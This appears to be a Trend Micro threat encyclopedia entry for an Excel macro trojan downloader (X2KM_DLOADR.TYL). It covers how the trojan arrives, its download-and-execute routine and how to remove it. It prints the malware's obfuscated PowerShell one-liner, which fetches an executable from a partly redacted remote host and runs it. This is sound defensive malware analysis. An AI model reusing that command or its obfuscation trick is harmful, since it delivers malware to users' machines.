X2KM_DLOADR.TYL
Trojan-Downloader.MSExcel.Agent.gm (Kaspersky); TrojanDownloader:O97M/Donoff (Microsoft); X97m.Downloader.DL (BitDefender)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Spammed via email, Dropped by other malware, Downloaded from the Internet
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It does not have any propagation routine.
It does not have any backdoor routine.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
TECHNICAL DETAILS
71,680 bytes
XLS
No
04 Oct 2017
Connects to URLs/IPs, Downloads files
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Propagation
This Trojan does not have any propagation routine.
Backdoor Routine
This Trojan does not have any backdoor routine.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}ka.top/sego
It saves the files it downloads using the following names:
- %User Profile%\Documents\{random characters}.exe
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)
Trend Micro detects the dowloaded file as:
- TSPY_URSNIF.AUSIQQ
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
Other Details
This Trojan does the following:
- It uses the following Powershell to download and execute a malicious file:
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='a';$uy='';$ji='XY86pe5M.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://{BLOCKED}ka.top/sego'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe);
NOTES:
The Microsoft Excel file contains the following fake details luring users to enable macro content:
SOLUTION
9.850
13.698.02
04 Oct 2017
13.699.00
05 Oct 2017
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Profile%\Documents\{random characters}.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as X2KM_DLOADR.TYL. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 5
Enable the macro virus protection in Microsoft Office Applications
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